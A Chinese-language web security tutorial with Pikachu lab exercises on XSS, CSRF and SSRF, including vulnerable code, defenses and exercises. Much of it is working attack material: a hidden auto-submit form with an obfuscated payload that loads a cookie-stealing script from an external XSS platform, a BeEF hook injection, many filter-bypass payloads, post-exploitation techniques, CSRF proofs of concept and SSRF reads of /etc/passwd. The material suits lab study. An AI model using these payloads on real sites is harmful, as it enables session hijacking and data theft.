跨站脚本攻击
XSS
简述
Cross-Site Scripting 简称为“CSS”,为避免与前端叠成样式表的缩写"CSS"冲突,故又称XSS。它是指恶意攻击者往web页面中插入恶意script代码,当用户浏览该页面时,嵌入其中的script代码被执行,从而达到恶意攻击用户的目的
一般XSS可以分为如下几种常见类型:
- 反射性XSS;
- 存储型XSS;
- DOM型XSS;
靶场练习
https://github.com/xmoct/pikachu/vul/xss/xss.php
反射型xss
一般是用户输入的参数内容会直接回显在页面上,通过提交url来构造攻击代码。反射型xss的攻击需要将url发送给受害者,诱导受害者点击才会触发
GET型
- 提交1 效果
- 提交
<script>alert('欢迎来到XSS学习')</script>
效果 - 常见弹窗函数
confirm()
prompt()
alert()
- 代码分析
- 存在危险函数echo
- 存在危险函数echo
<div id="xssr_main">
<p class="xssr_title">Which NBA player do you like?</p>
<form method="get">
<input class="xssr_in" type="text" maxlength="20" name="message" />
<input class="xssr_submit" type="submit" name="submit" value="submit" />
</form>
<?php echo $html;?> //危险函数 echo
</div>
- 追踪变量$html
$html=''; // $html 是变量html
if(isset($_GET['submit'])){ // 判断是否存在submit
if(empty($_GET['message'])){ // 判断是否 message的值为空
$html.="<p class='notice'>输入'kobe'试试-_-</p>";
}else{
if($_GET['message']=='kobe'){ // 如果时kobe 则html =...
$html.="<p class='notice'>愿你和{$_GET['message']}一样,永远年轻,永远热血沸腾!</p><img src='{$PIKA_ROOT_DIR}assets/images/nbaplayer/kobe.png' />";
}else{ // 如果不是 则html= 。。。
$html.="<p class='notice'>who is {$_GET['message']},i don't care!</p>";
}
}
}
POST型
- 登录进去
- 跟前面一样,只不过这里传递参数方式变成了post
- 利用方法
- 构造html ,让html实现自动提交表单的功能(chatgpt)
- 让受害者点击html链接
- xss平台获取cookie , 替换cookie
- 登录成功
html样例:
<html>
<head>
<script>
window.onload = function() {
document.getElementById("postsubmit").click();
}
<!-- window.onload() 方法用于在网页加载完毕后立刻执行的操作,即当 HTML 文档加载完毕后,立刻执行某个方法。 -->
</script>
</head>
<body>
<form method="post" action="http://127.0.0.1/pikachu/vul/xss/xsspost/xss_reflected_post.php">
<input id="xssr_in" type="text" style="display:none" name="message" value=
"</tEXtArEa>'"><img src=# id=xssyou style=display:none onerror=eval(unescape(/var%20b%3Ddocument.createElement%28%22script%22%29%3Bb.src%3D%22https%3A%2F%2F3s.wf%2FjvY0%22%2BMath.random%28%29%3B%28document.getElementsByTagName%28%22HEAD%22%29%5B0%5D%7C%7Cdocument.body%29.appendChild%28b%29%3B/.source));//>"
/>
<div style="display:none;"><input id="postsubmit" type="submit" name="submit" value="submit" /></div>
</form>
</body>
</html>
- xss平台
https://xss.pt/xss.php
存储型xss
攻击者将构造的恶意代码传入服务器,并存储在服务器端,在其他用户下一次访问一个看似正常的连接时,就会触发并执行恶意代码
- 留言
- 闭合标签
</p><script>alert(1)</script><p>
- 代码分析
- 将传入的值 写进插入数据库中
- 从数据库中查询
<?php echo $html;
$query="select * from message"; // SQL 查询语句,从 'message' 表中选择所有行
$result=execute($link, $query); // 使用 $link 连接执行查询
while($data=mysqli_fetch_assoc($result)){ // 遍历查询返回的每一行
echo "<p class='con'>{$data['content']}</p><a href='xss_stored.php?id={$data['id']}'>删除</a>";
} // 输出当前行的内容,包含在一个带有类名为 'con' 的段落标签中
DOM型xss
与反射型xss相似 ,但他不是服务端直接回显出JavaScript代码,而是由于开发者在编写前端代码时,写在html中Javascript代码和引入的JavaScript资源文件存在缺陷导致的; 触发XSS靠的是浏览器端的DOM解析,可以认为完全是客户端的事情
DOM概述
https://developer.mozilla.org/zh-CN/docs/Web/API/Document_Object_Model/Introduction
- Javacript伪协议
javascript:alert(1)
- 代码分析
追text
<script>
function domxss(){
// 获取id为"text"的元素的值并赋给变量str
var str = document.getElementById("text").value;
// 将一个带有动态链接的<a>标签的HTML内容赋给id为"dom"的元素
document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>";
}
//试试:'><img src="#" onmouseover="alert('xss')">
//试试:' onclick="alert('xss')">,闭合掉就行
</script>
Xss漏洞检测
反射型
传统方法
传统检测方法即为直接发送xss利用代码的形式,然后检测页面中是否存在被植入的xss代码
- 是否可以插入
<script>标签
<script>alert(1)</script>
<script>a=alert;a(1)</script>
<script>location.href="javascript:alert(2)"</script>
<script>location.href=location.hash.substr(1)</script>
<script>location.href=location.search.sunstr(1)</script>
- 是否可以插入任意标签+on事件组合
<img src=1 onerror=alert(1) >
<svg onload=alert(1) >
<input onmouseover=alert(1)>
<a href="x" onclick="alert(1)">click me</a>
- 是否可以插入
<iframe>
标签+src组合
<iframe src="javascript:top.alert(1)">
<iframe src="java script:top.alert(1)">
- 是否可以插入
标签+href组合
<base href="http://wwww.xxxx.com/">
模糊测试
不直接发送xss payload,而是通过检测不同回显点位置下的关键字符过滤情况的方法,被称为模糊xss漏洞检测技术
- 判断回显参数
- 发送Payload请求(简化特殊字符序列)
'
''
<>
</script>
<%27>
%25%27
\x27
\u0027
%22
%2522
\x22
\u0022
.....
-
根据回显点位置和过滤字符情况综合对比
<script>
标签内 -- 可直接执行JavaScript代码
<script>
aa</script>
- 在标签on事件之内,
<img onerror='aa'>
- 在Javascript:之后,
<iframe src="javascript:aa">
<script>
标签外 一般使用一下方法进入<script>
标签
- 引入标签法;引入
<script>
或<img>
等其他标签on事件 - 引入元素法;回显点如果位于标签内,则直接引入on事件
- JavaScript伪协议法;
<a href="javascript:alert(1)">xx</a>
<iframe src="javascript:alert(1)"></iframe>
存储型
存储型与反射型很大的区别是,反射型xss的回显点一般就是请求提交后的响应页面,二存储型xss的回显点不固定,有些是响应页面,有些则不是(例如:管理员后台查看),所以存储型的xss检测一般使用盲打技术
xss盲打
- 在可能存在xss的点插入payload
现在本地用python起一个http服务
python -m http.server
<script>window.open('http://127.0.0.1:8000')</script>
如果xss存在,则会打开新窗口,访问http:127.0.0.1:8000
- 假设我们现在是管理员去看评论
- 看效果
此时 ,我们只需检测我们对我们的http服务进行监控即可判断xss是否被触发
一般在测试中,我们会用到xss平台来进行监控(beef-xss和自建xss平台)
DOM型
挖掘难度较大 ,需要分析网站加载的Javacript代码;检查网页中任何可能存在缺陷的攻击点,包括且不仅限于以下范围
docmuent
docmuent.write
docmuent.cookie
innerHTML
.html
URL
location
location.search
location.href
location.hash
window.name
postMessage
localStorage
sessionStorage
eval
call
$.getScript
例1:
<! DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>welcome</title>
</head>
<body>
</body>
<script>
var getUrlParam = function(name){
//使用getUrlParam 方法,从URL中取了名为username的参数
var reg = new RegExp("(^|&|#)"+name+"=([^&]*)(&|$)");
var r = window.location.href.substr(1).match(reg);
if (r != null ) return unescape(r[2]);
return null;
}
//通过document.write 写入到页面
document.write("welcome,"+ getUrlParam("username"));
</script>
</html>
- 创建一个正则表达式reg,用于匹配URL中的参数名和值。(|&)表示参数名前面可以是字符串的开头或者是&符号,([&]*)表示参数值可以是任意字符除了&,(&|$)表示参数值后面可以是&符号或字符串的结尾。
- 使用window.location.href获取当前页面的URL,并使用substr(1)去除URL中的第一个字符(通常是?符号)。
- 使用match(reg)方法对URL进行正则匹配,将匹配结果存储在变量r中。
- 如果匹配结果r不为null,则使用unescape(r[2])解码参数值,并将其返回。
- 如果匹配结果为null,则返回null。
payload:welcome.php?username=<script>alert(1)</script>
例2:
<! DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>redirect</title>
</head>
<body>
</body>
<script>
var getUrlParam = function(name){
//使用getUrlParam 方法,从URL中取了名为username的参数
var reg = new RegExp("(^|&|#)"+name+"=([^&]*)(&|$)");
var r = window.location.search.substr(1).match(reg);
if (r != null ) return unescape(r[2]);
return null;
}
//从URL中取了名为redirectURL的参数
loaction.href=getUrlParam("redirectURL");
</script>
</html>
使用javascript伪协议进行xss攻击
payload: ?redirectURL=javascript:alert(1)
例3:
<! DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>postMessage</title>
</head>
<body>
</body>
<script>
if (window.postMessage){
window.addEventListener("message",function(e){
eval(e.data);
});
}
</script>
</html>
- 使用条件语句if (window.postMessage)检查window.postMessage是否存在,即浏览器是否支持该方法。
- 如果支持,则通过window.addEventListener方法给当前窗口添加一个message事件监听器。
- 在事件监听器的回调函数中,使用eval(e.data)对接收到的消息进行求值(执行)。e是事件对象,e.data表示接收到的消息内容。
payload:
<! DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>postMessage payload</title>
</head>
<body>
<iframe src="http://www.xxx.com/1.php"> onload="xss()"</iframe>
</body>
<script>
function xss(){
window[0].postMassage("alert(1)","*")
}
</script>
- 在
<body>
标签内,有一个<iframe>
元素,其src属性指向http://www.xxx.com/1.php
网址。在<iframe>
标签上有一个onload事件处理程序,当<iframe>
加载完成后,会调用函数xss()。 - 在
<script>
标签中定义了函数xss()。 - 在函数xss()中,使用window[0].postMessage("alert(1)", "*")尝试向指定的窗口发送一条消息。
- postMessage()方法用于在跨窗口通信中发送消息。第一个参数是要发送的消息内容,这里是"alert(1)",表示要弹出一个警示框。第二个参数""表示消息接收方的目标源,这里是通配符,表示可以与任何源进行通信
例4:
<html lang="en">
<head>
<meta charset="UTF-8">
<title>window.name</title>
</head>
<body>
</body>
<script>
document.write("this window.name is:"+ window.name);
// 直接讲window.name输出到页面, (window.name在赋值时 会自动进行toString,并且可以用于跨域通信)
</script>
</html>
payload
<! DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>window.name payload</title>
</head>
<body>
<iframe src="http://www.xxx.com/1.php"> name="<img src=x onerror=alert(1)>"</iframe>
</body>
Xss的绕过方式
###大小写绕过
针对某些黑名单,没有将输入的参数转变为小写产生这个漏洞
payload:
<scRIpT>alErt(1)</ScrIpT>
双写绕过
针对将我们的敏感标签替换为空,但是未加循环验证导致
payload:
<scr<script>ipt>aleralert(1)t(1)</scr</script>ipt>
或者:
<scr<--that-->ipt>
第二种利用注释符将中间置空
编码转义
这里可以利用编码加密绕过一些关键词黑名单的过滤
payload:
<script>eavl(atob("PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg=="));</script>
- eval()用于将字符串当作程序执行,atob()用于解密base6
<a href="data:text/html;base64",PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==">1</a>
除了base64,我们也可以通过url多次编码来绕过,这里就不做演示。
实体编码绕过
这里其实就是利用<svg>
标签将后面编码后的字符还原
payload:
<svg><script>alert(1)</script>
实体编码转换就是将ascii编码转unicode
常用实体编码
空格    
< < < <
> > > >
& & & &
" " " "
' ' (IE不支持) ' '
: :
( (
) )
常用编码查询网站
https://symbl.cc/cn/collections/punctuation-marks/
平替符号绕过
其实就是一些符号被过滤,我们使用一些可以产生同样效果的符号进行替换。
用/代替空格
用反引号代替括号、双引号
用throw代替括号
用html实体编码:代替冒号
用jsfuck编码绕过大部分字符过滤
用反单引号代替()
包括用-->注释符来把无法闭合的注释掉
符号被编码
这里符号被实体编码,但是本身闭合的符号还有=可以用
在input标签中可以使用onclick来触发
x" onclick=alert(1) //
其他非黑名单可用标签
<img src=1 οnerrοr=alert("xss");>
<input onfocus="alert('xss');">
<input οnblur=alert("xss") autofocus><input autofocus> #竞争焦点,触发onblur事件
<input onfocus="alert('xss');" autofocus> #通过autofocus属性执行本身的focus事件
<details ontoggle="alert('xss');">
<details open ontoggle="alert('xss');"> #使用open属性触发ontoggle事件
<svg οnlοad=alert("xss");>
<iframe οnlοad=alert("xss");></iframe>
<body/οnlοad=alert("xss");>
漏洞挖掘
常见思路
- XSS
- 分类
- 反射型XSS
- 存储型XSS
- DOM XSS
- 挖掘思路(有框必插)
- 第一步:寻找插入点
- 反射型:不跟后端数据产生交互的点
- 存储型:跟后端数据库产生交互的点
- DOM XSS
- 页面重定向
- 取值写入页面或动态执行
- 使用存在的缺陷的第三方库或通用组件
- 第二步:测试注入点提交的内容是否可以注入到页面
- 判断是否出现过滤行为(模糊测试)
- 第四步:根据注入点内容所在网页位置部分的DOM 结构构造Payload进行测试
- 第一步:寻找插入点
- 常见漏洞点
- 日志处
- 订单处
- 文章处
- 图片上传处
- 留言处
- 聊天室
- 请求头处
- 作品处
- 反馈处
- 发帖处
- 资料处
- 模板处
工具推荐
https://github.com/xmoct/FxxkXSS
案例分析
url中的xss
- 值为1时 页面不存在
- 值为payload:
<script>alert('url')</script>
时,弹框
留言处
- 输入payload: xss#
<img src=1 onerror=alert('s')>
//可能不会 - 输入payload: xss#
<img src=1 onerror=alert(1)>
//弹窗,document.domain - 弹窗
文件上传
- 上传头像
- 改文件后缀名 / 改content-type:text/html
<script>alert(1)</script>
- 弹窗
icloud Drive
- 在iCloud Drive中,可以上传文件并将上传文件移动到文件夹中,这些文件和文件夹可以通过电子邮件和icloud分享给其他用户
- 上传的每个文件夹或文件都有一个图标,可以直接编辑详细信息名称
<svg><img src onerror=javasript:alert(1)>
<svg javasript:alert(2)>
: :
( (
) )
- 未过滤 html 标签,这里存在 XSS 漏洞
- 把文件共享给受害者,受害者打开小窗口时,才会受到 XSS 的攻击
- (2021年的洞)最终支付了9000$(切记,有框,有回显,就试着x一x)
用户注册
- 注册信息填xss
- 别人访问你信息时就会触发
危害
盗取cookie
植入键盘记录器。
攻击受害者所在的局域网。
代理转发流经被攻击者的所有 Web 流量,即实施中间人攻击。
窃取或篡改应用 cookie 用于会话劫持。
更改被攻击者 Web 应用的显示内容。
绕过 CSRF 安全防护措施。
创建包含恶意 JavaScript 代码的虚假网站以及到该网站页面的链接。
发送嵌入恶意 Web URL 的电子邮件。
使用 URL 短码隐蔽真实 URL。
漏洞防御
- html回显内容在html页面标签之外时,实体化左右尖括号
- html回显内容在
<script>
代码快时,实体化左右尖括号、“/”、单引号等可能闭合标签的字符 - html回显内容通过postmessage作为输入点时 检测messageEvent的来源是否在白名单内,同时检测来源数据是否合法,是否存在恶意代码
xss修复方案
xss修复方案
`https://zhuanlan.zhihu.com/p/262038810
工具
在线生成xss
http://xssor.io/#ende
beef-xss
- 输入新密码
sudo beef-xss
- 登录
beef:beef - 插入
<script src="http://192.168.142.53:3000/(自己的kaliIP地址):3000/hook.js"></script>
- 上线
- 漏洞利用
任务
-
JavaScript的on事件 并进行整理/实验
-
xssValidator使用
https://www.freebuf.com/sectool/269231.html
-
了解beef-xss基本用法
-
写通关文档(思路 / 遇到了哪些问题 /怎么解决的)
https://xss.tesla-space.com/
Diango debug page xss漏洞(CVE-2017-12794)(看懂代码的就写一份报告 / 看不懂的就按照流程走一遍)
https://vulhub.org/#/environments/django/CVE-2017-12794/
尝试挖挖src(有框必×)(上传文件的地方也可以试试)
xss脑图
- xss
- 挖掘
- 触点
- Origin
- Inline-javascript
- alert`1`
- \u{61}l\u{65}rt`1` (IE 11)
- '-alert(1)'
- location=name
- setTimeout(location)
- gbk chatset: %bb\"alert(1)
- `&{alert(1)}`
- `"<!--<script>"`
- Attribute
- 普通属性
- "oncut=alert(1)
- "autofocus/onfocus=alert(1)//
- "onerror=alert(1)//
- 事件属性
- 使用HTML编码闭合JS
- delFeedbak('')alert(1)//')
- VBScript (IE)
- <![if<iframe/onload=vbs::alert[:]>
- <img language=vbs src=<b onerror=alert#1/1#>
- <script language=vbs></script><img src=xx:xonerror=''::alert+']'::''>
- 链接属性
- JS URI
- URL编码
- javascript:alert%281%29
- 无符号
- javascript:name
-window.name
- DATA URI (Firefox)
- base64
- data:text/html;base64,PHNjcmlwdD5hbGvydCgxKtwvc2NyaxBOPg==
- 空格
- data:text/html,< sc r i p t>alert(1)</sc r ip t>
- 无效的 mime-type
- data:),<script>alert(1)</script>
- 小众字符集
- VBS URI (IE)
- vbsscript:Msgbox+1
- style
- font-family:a/**/ression(alert(1))('\')exp\')
- HTML 编码
- 实体命名编码
- javascript:alert(1)
- &newLine;javascript:alert(1)
- 十进制编码
- javascript:loaction=name
- 十六进制编码
- java&x000000000000000073;cript:location=name
- HTML
- 标签优先级
- {tag}<img name="{/tag} onerror=alert({{i}})//">
- 边界检测
- 反引号
- alt=``onload=alert(1)
- 等号
- alt=
- 引号
- alt='"name='onerror=alert()//'
- style=xss:"'/onclick=alert(1)//'
- <a href=[0x0b]" onclick=alert(1)//">click</a>
- 分隔符
- alt=""[newLine]onclick=alert()
- 标签
- <! XSS="><img src=xx:x onerror=alert(1)//">
- 魔术标签
- <object>|<embed> allowScriptAccess
- always
- somedomain
- 上传头像、上传图片、上传附件
- 站内XSS转存储
-SVG
- <svg><script/xlink:href=data:,alert(1)></script>
- <svg contentScriptType=text/vbs><script>MsgBox"1"<i> (IE 9)
- <svg><script>alert(1)</script>
- <svg></ y="><x" onload=alert(1)>
- Math
- <math href=javascript:..>
- <math><a xlink:href=javascript:..>
- VML
- Link
- <link rel=import href=//evil>
- <link rel=stylesheet href=data:,*%7bx:expression(write(1))%7d
- Iframe
-<iframe srcdoc='<svg/onload=alert(1)>'>
- DOM
- document.domain 跨域
- document.domain='com' (chrome 老版本)
- MXSS
- <b><noscript><a src='x' style='x:\3c\2fnoscript\3e\3ciframe/onload\3d alert(1)\3e'> (IE11,0.0.2)
- <listing><img src=1 onerror=alert(1)></listing>
- 原生JS
- 输入
- location
- location.href
- location.search
- location.hash
- window.name
- document.cookie
- document.referrer
- postMessage
- 未限制来源
- 反斜线绕过判断
- 触点
- location
- eval
- innerHTML
- document.write
- appendChild
- Function
- setTimeout
- setInterval
- jQuery
- .html(..)
- .attr(..)
- .append(..)
- getScript(..)
- .ajax
- $('#...')
- React.js
- React.createElement(..)
- Angular JS
- <b class="ng-include:'//evil'"'>
- <iframe ng-src=javascript:..>
- Flash
- 输入
- loaderInfo.parameters
- 无效编码忽略机制:%Ajava%B&script:alert(1)
- search 解析缺陷:#?id=xx
- SharedObject
- LocalConnection
- allowDomain("*")
- HTML id attr
- 触点
- ExternalInterface.call
- arg 1: alert(1)
- arg 2
- \"))}catch(e){alert(1)}//
- split 函数缺陷
- 1. ?q=%ED%A0%80\"))}catch(e){alert(1)}//
- 2. var q:String=loderInfo.parameters["q"].split("\\").join("\\\\");
- 3. ExternalInterface.call("console.log",q);
- htmlText
- <img src=evil.swf>
- <a href=javascript:..>me</a>
- navigateToURL
- Loader
- addCallback
- Server
- String
- <sc<script>alert(1)</script>
- <embed allowscriptaccess="alwalwaysays" src="test.swf">
- substr
- 字符集处理
- gbk:%c0%22
- utf32:%E2%88%80%E3%B8%80%E3%B0%80
- Database
- 字符集
- <img src="http://www.baidu.com# onerror=alert(1)//{0xf09d8c86}">
- 数据类型
- Text
- <a href="http://www.baidu.com# onerror=alert(1)//[64kb]"></a>
- VARCHAR
- <a href="http://www.baidu.com# onclick=alert(1)//[255]"></a>
- 第三方 API
- 输入
- 邮局
- 附件
- 预览
- word字体
- 标题
- 正文
- 标题
- 抄送人
- Flash 组件
- SwfUpload
- ZeroClipboard
- JWPlayer
- Open flash chart
- 图片 Exif
- 反馈
- 探测后台地址
- `<img src=//evil>`
- 窃取Cookies
- `</script/</textarea/'"><img..`
- `<embed src=..>`
- 也可以是一个XSS的网址
- 客户端
- 文件传输
- word字体设置
- 字体设置
- Web to Native
- `<img src=//evil/bind-xss>`
- URL参数
- Google 搜索
- 流量探测
- Custom Spider
- 上传
- XSS.SVG
- XSS.XML
- IE: 1.jpg/xss.html
- IE: 1.txt
- 工具
- Charles
- 映射JS文件
- Fiddler
- Set cookies header
- Chrome DevTools
- 全局代码搜索
- Firebug-lite
- IE恶搞迷
- POC
- 去除 referer
- location='javascript:"<script src=//evil></script>'"
- <meta name=referer content=never>
- <a href=//target rel=noreferer>
- HTTPS + <meta> 跳转
- 长度限制
- 短域名
- <svg/onload=eval(name)
- 多个输入点组合 <script>/**/
- 浏览器检测绕绕过
- Chrome
- <link rel=import href=//evil> (Chrome 39)
- before <script>:"><script/src=data:,alert(1)%2b"
- in <script>:</script><svg><script>alert(1)%2b%26quot;
- DOM HTML HEX encode
- <link href="origin res url">
- "><script/src=data:,alert(1)%26sol;%26sol;
- IE
- <a href="?q=<script>alert(1)</script>">click</a>
- <script/%00%00v%00%00>alert(1)</script>
- in script ';alert`1`
- 通用
- 多个输入点合并
- 复合参数组合
- DOM:<img src=xx:x onerror=alert(1)//
- 突破 IE Flash document保护
- location='javascript:"<script>alert(document)</script>"'
- 交互式触发
- 突破行级标签:display:balock;position:absollute;top:0;left:0;width:1000px;height:1000px;backgroud:red
- DOM hack
- 通过 ID Hook 变量
- <img src=xx:x id=main>
- <form id="window"><input name="name" value="haha">
- 浏览器XSS拦截器
- ?xss=<script>[page data]</script>
- InnerHTML
- IE,无等号:<script/defer>alert(1)</script>
- <iframe/src=about:blank onload=alert(1)>
- 跨子域
- document.domain="qq.com"
- EXP
- 水坑
-<iframe>
- history.replaceState + 跳转
- 蠕虫
- 感染老数据
- 持久化XSS
- Rootkit
- Cookies 设置超大 max-age
- Flash SharedObject
- LocalStorage
- 框架化会话
- 无边界 iframe
- 地址栏同步
- location.hash
- history.pushState
- Opener 劫持
- opener.eval(..exp..)
- 内网边界
- XSS-Proxy
- 注入至所有同源 window
- 本地中转代理
- XSS-Intranet
- 反弹接收系统
- 利用Ajax扫描内网
- Struts 2:80/8080
- CVE-2011-3923
- CVE-2013-2251
- CVE-2013-1965
- CVE-2013-1966
- CVE-2014-0094 (补丁绕过)
- Elasticsearch:9200
- CVE-2014-3120
- CVE-2015-1427
- 本地边界
- 浏览器
- 信任域
- 特权域
- 内嵌浏览器
- APP
- Webview
- Soft
- 反追踪
- 悄悄的干活
- 检测 referer
- XSS 代理服务器
- 清理痕迹
- 清理控制台:console.clear
- 清理地址栏:history.replaceState
使用 WebSocket 代替 HTTP
- 使用Flash封装JS
- navigateToURL 执行 JS 防 hook
- 信息收集
- XHR 窃取 页面数据
- WebRTC 获取网卡信息
- VPN
- 内网IP
- 获取所有链接数据
- 窃取Cookie重放身份
- 伪造X-Forword-for绕过IP限制
- 使用代理重放避免Cookies域问题
- 权限维持
- Keep session
- 钓取账户密码
- 1. 监听所有链接,点击触发
- 2. 遍历path清除Cookies
- 3. 多次history.pushState
- 4. 清空Dom:document.open
- 5. XHR读取写入登录页
- 6. 设置document.title
- 7. 延迟绑定窃取事件
CSRF
Cross-site request forgery 简称为“CSRF”,中文名为“跨站请求伪造漏洞”,是指网站的功能存在某些缺陷,可允许攻击者预先构造请求诱导其他用户提交该请求并产生危害
靶场练习
GET型
- 先随便登录一个人的账号(点击提示会显示账号)
- 我们修改信息 ,并在网络 监控文档 ---> 得到一个修改信息的链接
- 我们退出登录 ,换另外的账号进行登录 ,然后点击链接
- 代码分析
没有验证cookie的值
if($_GET['sex']!=null && $_GET['phonenum']!=null && $_GET['add']!=null && $_GET['email']!=null){
//判断这些值是否为空
$getdata=escape($link, $_GET);
$query="update member set sex='{$getdata['sex']}',phonenum='{$getdata['phonenum']}',address='{$getdata['add']}',email='{$getdata['email']}' where username='{$_SESSION['csrf']['username']}'";
// 更新数据库中的值
$result=execute($link, $query);
POST型
- 与get型没什么区别 ,不过利用方式需要与xss的post利用方式类似
- 修改个人信息,抓包
- 生成csrf poc
- 模拟受害者点击
token
Token:令牌,和Session,Cookie一样,都是身份标识,Token通常存在于URL和Cookie中,它是用于防止CSRF漏洞的。
if($_GET['sex']!=null && $_GET['phonenum']!=null && $_GET['add']!=null && $_GET['email']!=null && $_GET['token']==$_SESSION['token']){
// 除了基本信息意外,还校验token是否一致
//转义
$getdata=escape($link, $_GET);
.....
//每次会话结束都生成新的token
set_token();
漏洞检测
敏感功能缺乏csrf防护机制
- 在burpsuite中观察post请求是否带有随机Token 和 验证码
- 再判断 去掉/修改 Referer后是否仍然可以提交成功
网站可以允许写入csrf payload
-
测试用户头像
<img>
/ 富文本区域的<img>
<svg>
标签(可控) -
在头像处插入payload
<img src="http://www.xx.com/reset_pwd?new=123456">
-
当其他人浏览时即触发csrf攻击
漏洞挖掘
常见思路
- CSRF
- 常见漏洞点
- 修改密码
- 修改个人信息
- 发布文章
- 与账户相关的大部分业务功能点
- 挖掘思路
- 1. 是否存在token和验证码(是否可删除/可伪造)
- 2. 是否可以删除或伪造referer
- 3. <img>/<svg>等标签链接是否可控
案例分析
- 蠕虫
- 账号停用
- 停用账号 抓包(没有token / 没有refer)
- 生成csrf poc
- 诱导其他用户点击 即停用账号
- 第三方账户绑定
- 绑定微博返回包
https://www.a.test.com/users/auth/weibo/callback?state={"can_transfer"%3A"true"}&code=c593bc150745c37a4d5ec05332d406af
- 发给受害者
- 微博登录受害者账号
- 绑定微博返回包
漏洞危害
具体功能决定危害程度
修改性别 / 个人信息等
修改管理员密码
添加管理员
后台getshell
漏洞防御
- 在铭感请求提交表单中加入随机的Token或者验证码,防止攻击者预测
- 合理校验请求Referer ,判断请求是否来自本站或者其他授权的域名;防御可写入csrf pyaload 攻击 ,禁止用户自定义任何标签的链接属性
靶场练习
SSRF
SSRF(Server-Side Request Forgery:服务器端请求伪造),一般情况下ssrf攻击的目标时从外网无法访问的内部系统,简单来说就是让服务器替攻击者发请求
靶场练习
curl_exec
- 请求www.baidu.com判断有无ssrf漏洞
http://192.168.142.53/pikachu/vul/ssrf/ssrf_curl.php?url=http://www.baidu.com
- dict协议探测内网端口
http://192.168.142.53/pikachu/vul/ssrf/ssrf_curl.php?url=dict://127.0.0.1
- file协议读取内网文件
http://192.168.142.53/pikachu/vul/ssrf/ssrf_curl.php?url=file:///etc/passwd
- gopher协议实现post请求
URL:gopher://<host>:<port>/<gopher-path>
_(后接TCP数据流)
1、构造HTTP数据包
2、URL编码、替换回车换行为%0d%0a
3、发送gopher协议
1、问号(?)需要转码为URL编码,也就是%3f
2、回车换行要变为%0d%0a,但如果直接用工具转,可能只会有%0a
3、在HTTP包的最后要加%0d%0a,代表消息结束(具体可研究HTTP包结束)
- 代码分析
危险函数
curl_exec
curl_exec(CurlHandle $handle): string | bool
执行指定curl会话
这个函数应该在初始化curl会话并且设置所有选项后调用
if(isset($_GET['url']) && $_GET['url'] != null){
//接收前端URL没问题,但是要做好过滤,如果不做过滤,就会导致SSRF
$URL = $_GET['url'];
$CH = curl_init($URL);
curl_setopt($CH, CURLOPT_HEADER, FALSE);
curl_setopt($CH, CURLOPT_SSL_VERIFYPEER, FALSE);
$RES = curl_exec($CH);
curl_close($CH) ;
//ssrf的问是:前端传进来的url被后台使用curl_exec()进行了请求,然后将请求的结果又返回给了前端。
//除了http/https外,curl还支持一些其他的协议curl --version 可以查看其支持的协议,telnet
//curl支持很多协议,有FTP, FTPS, HTTP, HTTPS, GOPHER, TELNET, DICT, FILE以及LDAP
echo $RES;
}
file_get_content
file_get_contents 将整个文件读入到一个字符串中
和file()一样,只除了file_get_contents()把文件读入到一个字符串中,将在参数offset指定的位置开始读取长度为length的内容。如果失败,file_get_contents()将返回false
file_get_contents(
string $filename,
bool $use_include_path = false,
?resource $context = null,
int $offset = 0,
?int $length = null
): string | false
SSRF漏洞挖掘
常见思路
- SSRF
- 常见漏洞点
- 对外网发起请求的地方(图片抓取/翻译网页/网页分享等)
- 从远程服务请求资源的地方(url上传/导入文件/rss订阅等)
- 文件处理、编码处理、属性信息处理(FFmpeg转码/xml等)
- 数据库可加载外部url(oracle,mongodb,mssql,postgresql,couchdb)
- webmail收取其他邮箱邮件(pop3 imap smtp等)
- 限制
- Openssl
- 鉴权(cookie/http basic认证等)
- 校验其他头部字段
- 回显分类
- 有回显
- http://www.baidu.com
- http://127.0.0.1/127.0.0.2
- file:///
- dict://
- 半盲回显(半盲ssrf)
- 收不到返回内容,但可以看到请求成功或失败的提示信息
- 特定情况下,可以收到特定格式或特定响应头的返回内容
- 无回显(全盲ssrf)
- Dnslog
- Httplog
案例分析
网页翻译
在Google翻译中找到网页翻译,输入网址
奇奇怪怪的挖掘
- 正常访问 /
- 将/ 改为我们的主机地址
- 其他地址验证
工具
autorepeater
- 准备
- autorepeater
- ceye.io ( dnslog / http 平台)
- 正则表达式
(?i)^(https|http|file)://.*
保证未编码的 URL 可以被正常匹配
(?i)^(https|http|file)%3A%2F%2F.*
保证编码的 URL 可以被正常匹配到
- 如下配置
然后配置如下规则:
正则的作用就是匹配 URL 然后替换成 DNSLOG 的地址,接着自动发包
然后在有空的时候去看看 DNSLOG 有没有数据或是把所有带 URL 的自己测试一遍就知道有没有 ssrf
- 测试
漏洞危害
- 扫描内部网络,获取网络结构以及内网机器指纹(FingerPrint)
- 向内部任意主机的任意端口发送精心构造的数据包(Payload)
- 通过请求大文件,保持keep-alive 发起拒绝服务攻击(DoS)
- 枚举爆破用户名,目录 文件等(Brute Force)
漏洞防御
1.尽量避免使用服务器根据用户参数远程加载资源
2. 尽量将资源固定化,避免用户提交可变参数
3. 对使用的开源库的ssrf漏洞进行了解
4. 鉴权
靶场练习(熟悉dict / file / gopher协议)
- vulhub靶场练习
https://vulhub.org/#/environments/weblogic/ssrf/
- 感兴趣可以了解ssrf攻击
- redis未授权服务
https://xz.aliyun.com/t/4051
- 攻击 kubernetes服务
https://cloud.tencent.com/developer/article/1893363